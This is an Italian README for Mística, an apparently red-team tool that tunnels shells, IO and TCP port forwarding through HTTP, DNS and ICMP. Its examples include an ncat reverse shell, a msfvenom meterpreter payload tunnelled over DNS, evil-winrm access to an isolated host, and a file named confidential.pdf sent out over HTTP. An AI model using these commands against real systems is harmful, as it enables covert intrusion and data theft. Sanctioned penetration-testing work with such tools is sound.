Se non vuoi installare python sul tuo sistema, puoi utilizzare una delle seguenti versioni portatili:

- https://www.anaconda.com/distribution/#download-section (for Windows, Linux and macOS)
- https://github.com/winpython/winpython/releases/tag/2.1.20190928 (only for Windows)

## Moduli correnti

Moduli overlay:

- `io`: Legge da stdin, invia attraverso connessione SOTP. Legge dalla connessione SOTP, stampa su stdout
- `shell`: Esegue comandi ricevuti attraverso la connessione SOTP e restituisce l'output. Compatibile con il modulo io.
- `tcpconnect`: Si connette a una porta TCP. Legge dal socket, invia attraverso connessione SOTP. Legge dalla connessione SOTP, invia attraverso il socket.
- `tcplisten`: Si lega a una porta TCP. Legge dal socket, invia attraverso connessione SOTP. Legge dalla connessione SOTP, invia attraverso il socket.

Moduli wrap:

- `dns`: Codifica/Decodifica dati in query/risposte DNS utilizzando diversi metodi
- `http`: Codifica/Decodifica dati in richieste/risposte HTTP o HTTPS utilizzando diversi metodi
- `icmp`: Codifica/Decodifica dati in richieste/risposte echo ICMP nella sezione dati

## Utilizzo

`ms.py`: Mística Server

Ecco come appare il messaggio di aiuto:```txt
usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
             [-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]

Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.

optional arguments:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     RC4 key used to encrypt the comunications
  -l LIST, --list LIST  Lists modules or parameters. Options are: all,
                        overlays, wrappers, <overlay name>, <wrapper name>
  -m MODULES, --modules MODULES
                        Module pair in single-handler mode. format:
                        'overlay:wrapper'
  -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
                        args for the selected overlay module (Single-handler
                        mode)
  -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
                        args for the selected wrapper module (Single-handler
                        mode)
  -s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
                        args for the selected wrap server (Single-handler
                        mode)
  -v, --verbose         Level of verbosity in logger (no -v None, -v Low, -vv
                        Medium, -vvv High)

### Parametri

- `-l, --list` viene usato per elencare tutti i moduli (`all`), solo un tipo: (`overlays` o `wrappers`) o elencare i parametri che un certo modulo può accettare tramite `-o`, `-w` o `-s`.
- `-k, --key` viene usato per specificare la chiave che sarà utilizzata per crittografare la comunicazione overlay. Questa deve essere la stessa nel client e nel server ed è attualmente obbligatoria. Questo potrebbe cambiare in futuro se verranno implementati schemi di condivisione dei segreti.
- `-m, --modules` viene usato per specificare quale coppia di moduli si desidera utilizzare. È necessario usare il seguente formato: **overlay_module** + **:** + **wrap_module**. Anche questo parametro è obbligatorio.
- `-w, --wrapper-args` permette di specificare una configurazione particolare per il modulo wrap.
- `-o, --overlay-args` permette di specificare una configurazione particolare per il modulo overlay.
- `-s, --wrap-server-args` è presente solo in `ms.py`. Permette di specificare una configurazione particolare per il wrap server. Ogni modulo wrap dipende da un wrap server, ed entrambe le configurazioni possono essere personalizzate.

## Esempi e uso avanzato

> Ricorda che puoi vedere tutti i parametri accettati da un modulo digitando `-l <module_name>` (ad es. `./ms.py -l dns`). Ricorda anche di usare una chiave lunga e complessa per proteggere le tue comunicazioni!

### HTTP

Per illustrare i diversi metodi di incapsulamento HTTP, il modulo overlay di reindirizzamento IO (`io`) verrà utilizzato per ogni esempio.

- Metodo HTTP GET con codifica b64 nell'URI predefinito, utilizzando localhost e porta 8080 (valori predefiniti).
  - Mística Server: `./ms.py -m io:http -k "rc4testkey"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey"`
- Metodo HTTP GET con codifica b64 nell'URI predefinito, **specificando indirizzo IP e porta**.
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"`
- Metodo HTTP GET con codifica b64 in **URI personalizzato**, utilizzando localhost e porta 8080 (valori predefiniti).
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- Metodo HTTP GET con codifica b64 in **header personalizzato**, utilizzando localhost e porta 8080 (valori predefiniti).
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- Metodo HTTP **POST** con codifica b64 nel campo predefinito, utilizzando localhost e porta 8080 (valori predefiniti).
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--method POST"`
- Metodo HTTP **POST** con codifica b64 in **header personalizzato**, utilizzando localhost e porta 8080 (valori predefiniti).
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- Metodo HTTP **POST** con codifica b64 in **campo personalizzato**, utilizzando localhost e porta 8080 (valori predefiniti).
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
  - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- Metodo HTTP **POST** con codifica b64 in **campo personalizzato, con dimensione pacchetto personalizzata, retry personalizzati, timeout personalizzato e specificando IP e porta**:
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"`
  - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"`
- Metodo HTTP **POST** con codifica b64 in **campo personalizzato**, **usando un template di errore personalizzato**, utilizzando localhost e porta 8080 (valori predefiniti).
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"`
  - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- Metodo HTTP GET con codifica b64 nell'URI predefinito, utilizzando **codice di risposta HTTP personalizzato** e utilizzando localhost e porta 8080 (valori predefiniti):
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"`
  - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- Metodo HTTPS GET con codifica b64 nell'URI predefinito usando la porta 443. Deve essere generato un certificato in Mistica Server per usare l'opzione ssl; il Mistica Client necessita solo di ricevere il flag ssl:
  - Mística Server:
      - `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes`
      - `sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"`
  - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"`
- Metodo HTTP GET con codifica b64 nell'URI predefinito, utilizzando un server proxy in Mistica Client (può essere usato in ambienti in cui la comunicazione HTTP deve passare necessariamente attraverso un proxy aziendale, non specificato nella configurazione del computer). Prova il seguente esempio con Burpsuite:
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"`

### DNS

Per illustrare i diversi metodi di incapsulamento DNS, il modulo overlay di reindirizzamento IO (`io`) verrà utilizzato per ogni esempio.

- Query TXT, utilizzando localhost e porta 5353 (valori predefiniti):
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey"`
- Query NS, utilizzando localhost e porta 5353 (valori predefiniti):
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--query NS"`
- Query CNAME, utilizzando localhost e porta 5353 (valori predefiniti):
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"`
- Query MX, utilizzando localhost e porta 5353 (valori predefiniti):
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--query MX"`
- Query SOA, utilizzando localhost e porta 5353 (valori predefiniti):
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"`
- Query TXT, utilizzando localhost e porta 5353 (valori predefiniti) e **domini personalizzati**:
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"`
  - Mística Client:  
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"`
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"`
- Query TXT, specificando porta e hostname:
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"`
- Query TXT, utilizzando più sottodomini:
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"`

### ICMP

Il kernel Linux, quando riceve un pacchetto di richiesta echo ICMP, per impostazione predefinita risponde automaticamente con un pacchetto di risposta echo ICMP (senza darci alcuna opzione per rispondere). Ecco perché dobbiamo disabilitare le risposte ICMP per poter inviare le nostre con dati diversi da quelli inviati dal client. Per fare questo, procediamo come segue:

Disabilitare le risposte ICMP automatiche da parte del kernel (*richiede privilegi di root*) modificando il file `/etc/sysctl.conf`:

- Aggiungi la seguente riga al tuo /etc/sysctl.conf:

net.ipv4.icmp_echo_ignore_all=1
```
- Then, run: `sysctl -p` to take effect.

Ora, per illustrare i diversi metodi di incapsulamento ICMP, il modulo di overlay di reindirizzamento IO (`io`) verrà utilizzato per ogni esempio.

- Sezione dati ICMP, utilizzando l'interfaccia eth0:
  - Mística Server: `./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"`
  - Mística Client:  `./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"`

### Shell e IO

È possibile ottenere l'esecuzione remota di comandi utilizzando mística su un canale personalizzato, combinando i moduli `io` e `shell`. Esempi:

- Esecuzione di comandi sul sistema client su DNS utilizzando query TXT.
    - Mística Server: `sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x  --port 53"`
    - Mística Client: `./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"`

- Esecuzione di comandi sul sistema server su HTTP utilizzando richieste GET:
    - Mística Server: `./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x  --port 8000"`
    - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"`

- Esecuzione di comandi sul sistema client su ICMP:
    - Mística Server: `./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"`
    - Mística Client: `./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"`

- Esecuzione di file tramite HTTP utilizzando il modulo IO e gli operatori di reindirizzamento:
    - Mística Server: `./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdf`
    - Mística Client (**importante eseguire da cmd**): `type confidential.pdf | E:\Mistica\WPy64-3741\python-3.7.4.amd64\python.exe .\mc.py -m io:http -w "--hostname x.x.x.x --port 80" -k "rc4testkey" -vv`

### Port forwarding con tcpconnect e tcplisten

- Port forwarding remoto (visto dal server) su HTTP. L'indirizzo `127.0.0.1:4444` sul client verrà inoltrato all'indirizzo `127.0.0.1:5555` sul server. Deve già esserci qualcosa in ascolto su `5555`.
    - Mística Server: `./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x  --port 8000" -o "--address 127.0.0.1 --port 5555"`
    - Mística Client: `./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"`
- Port forwarding locale (visto dal server) su DNS. L'indirizzo `127.0.0.1:4444` sul server verrà inoltrato all'indirizzo `127.0.0.1:5555` sul client. Deve già esserci qualcosa in ascolto su `5555`.
    - Mística Server: `sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x  --port 53" -o "--address 127.0.0.1 --port 4444"`
    - Mística Client: `./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"`
- Reverse shell HTTP utilizzando netcat su client linux.
    - Netcat Listener (sul server): `nc -nlvp 5555`
    - Mística Server: `./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x  --port 8000" -o "--address 127.0.0.1 --port 5555"`
    - Mística Client: `./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"`
    - Netcat Shell (su client linux): `ncat -nve /bin/bash 127.0.0.1 4444`
- Esecuzione di `meterpreter_reverse_tcp` (linux) su DNS utilizzando port forwarding. Payload generato con `msfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o meterpreter_reverse_tcp_localhost_4444.bin`
    - Avviare `msfconsole` sul server e lanciare l'handler con: `handler -p linux/x64/meterpreter_reverse_tcp -H 127.0.0.1 -P 5555`
    - Mística Server: `sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x  --port 53" -o "--address 127.0.0.1 --port 5555"`
    - Mística Client: `./mc.py -m tcplisten:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"`
    - Avviare meterpreter sul client: `./meterpreter_reverse_tcp_localhost_4444.bin`
- [EvilWinrm](https://github.com/Hackplayers/evil-winrm) su ICMP utilizzando una macchina di salto per accedere a una macchina isolata.
    - Mistica Server: `./ms.py -m tcplisten:icmp -s "--iface eth0" -k "rc4testkey" -o "--address 127.0.0.1 --port 5555 --persist" -vv`
    - Mistica Client: `python.exe .\mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o "--address x.x.x.x --port 5985 --persist" -vv`
    - EvilWinrm Console (sulla macchina C2): `evil-winrm -u Administrador -i 127.0.0.1 -P 5555`

## Docker

È stata creata un'immagine Docker per l'uso locale. Questo evita di dover installare Python o dnslib solo per testare lo strumento, ed è anche molto interessante per il debug o simili perché evita il rumore generato da altre applicazioni locali. Per costruirla seguiamo semplicemente questi passaggi:

* Prima costruisci l'immagine con:```
sudo docker build --tag mistica:latest .
```
* Secondo, crea la rete con:```
sudo docker network create misticanw
```
* Terzo esegui il server con:```
sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it mistica /bin/bash
```
* Quarto esegui il client con:```
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash
```
## Come compilare

Mística è uno strumento sviluppato in Python, il che significa che, teoricamente, può essere compilato.

Per compilare lo strumento useremo [Pyinstaller](https://www.pyinstaller.org/), questo strumento ci permetterà di generare un binario (a seconda del sistema operativo in cui ci troviamo), questo significa che NON possiamo fare cross-compilazione come in altri linguaggi come C, C++, Golang, Rust, ecc. **Stiamo lavorando a un modo per rendere ciò possibile**, tuttavia, vi lasciamo il comando Pyinstaller che ci permetterà di compilare Mística in qualsiasi sistema operativo:

### Compilare Mistica Client

Poiché Mística Client non ha dipendenze, può essere compilato direttamente con Pyinstaller. Per compilarlo segui i seguenti passaggi:

* Prima, installa pyinstaller per Python3.7 o superiore:```
python3.7 -m pip install pyinstaller --user
```
* E ora, compila Mística Client con il seguente comando:```
pyinstaller --onefile \
  --hiddenimport overlay.client.io \
  --hiddenimport overlay.client.shell \
  --hiddenimport overlay.client.tcpconnect \
  --hiddenimport overlay.client.tcplisten \
  --hiddenimport wrapper.client.http \
  --hiddenimport wrapper.client.dns \
  --hiddenimport wrapper.client.icmp \
  --hiddenimport overlay.server.io \
  --hiddenimport overlay.server.shell \
  --hiddenimport overlay.server.tcpconnect \
  --hiddenimport overlay.server.tcplisten \
  --hiddenimport wrapper.server.wrap_module.http \
  --hiddenimport wrapper.server.wrap_module.dns \
  --hiddenimport wrapper.server.wrap_module.icmp \
  --hiddenimport wrapper.server.wrap_server.httpserver \
  --hiddenimport wrapper.server.wrap_server.dnsserver \
  --hiddenimport wrapper.server.wrap_server.icmpserver \
  mc.py
```
### Compilare Mistica Server

Se vuoi compilare Mística Server devi installare, con Pip, la libreria Dnslib in modo globale (ricorda che è l'unica dipendenza di Mística, e solo per il Mística Server). Per farlo devi seguire i seguenti passaggi:

* Primo, installa Python3.7 o superiore sul tuo sistema Windows, Linux o Mac.
* Secondo, installa, con Pip, la libreria Dnslib: `pip install dnslib` (senza il flag "--user", in questo modo verrà installata globalmente sul sistema, altrimenti pyinstaller non sarà in grado di aggiungerla come import nascosto. Questo passaggio richiede permessi di amministratore)
* Terzo, installa, con Pip, la libreria Pyinstaller: `pip install pyinstaller`.
* E quarto, compila Mística Server con il seguente comando:```
pyinstaller --onefile \
  --hiddenimport overlay.client.io \
  --hiddenimport overlay.client.shell \
  --hiddenimport overlay.client.tcpconnect \
  --hiddenimport overlay.client.tcplisten \
  --hiddenimport wrapper.client.http \
  --hiddenimport wrapper.client.dns \
  --hiddenimport wrapper.client.icmp \
  --hiddenimport overlay.server.io \
  --hiddenimport overlay.server.shell \
  --hiddenimport overlay.server.tcpconnect \
  --hiddenimport overlay.server.tcplisten \
  --hiddenimport wrapper.server.wrap_module.http \
  --hiddenimport wrapper.server.wrap_module.dns \
  --hiddenimport wrapper.server.wrap_module.icmp \
  --hiddenimport wrapper.server.wrap_server.httpserver \
  --hiddenimport wrapper.server.wrap_server.dnsserver \
  --hiddenimport wrapper.server.wrap_server.icmpserver \
  --hiddenimport dnslib \
  ms.py
```
## Lavori futuri

- Metodo di cross-compilazione per essere in grado di compilare Mistica per diversi sistemi operativi senza doverlo fare dal sistema operativo di destinazione.
- Generazione trasparente di chiavi Diffie-Hellman per il protocollo SOTP
- Modalità Multi-Handler: Modalità interattiva per `ms.py`. Ciò consentirà all'utente di combinare più di un overlay con più di un wrapper e più di un modulo wrap per server wrap.
- Documentazione per lo sviluppo di moduli personalizzati. Al momento è sconsigliato poiché la specifica dei moduli è ancora in fase di sviluppo.
- Prossimi moduli:
    - Wrapper SMB
    - Overlay RAT e gestore RAT
    - Overlay proxy SOCKS e forwarding dinamico delle porte
    - Overlay di trasferimento file
    - Wrapper RDP
- Template HTTP personalizzati per incapsulamenti più complessi
- Documentazione delle specifiche del protocollo SOTP per client o server personalizzati. Al momento è sconsigliato poiché il protocollo è ancora in fase di sviluppo.

## Autori e licenza

Questo progetto è stato sviluppato da Carlos Fernández Sánchez e Raúl Caro Teixidó. Il codice è rilasciato sotto la licenza GNU General Public License v3.

Questo progetto utilizza codice open-source di terze parti, in particolare:

- [Bitstring](https://github.com/scott-griffiths/bitstring) sviluppato da Scott Griffiths.
- [Un RC4 binary-safe](https://github.com/DavidBuchanan314/rc4) sviluppato da David Buchanan.
- [Un client DNS senza dipendenze](https://github.com/vlasebian/simple-dns-client) sviluppato da Vlad Vitan.
- [Un server e client ICMP senza dipendenze](https://github.com/rcaroncd/ICMPack/) sviluppato da Raul Caro.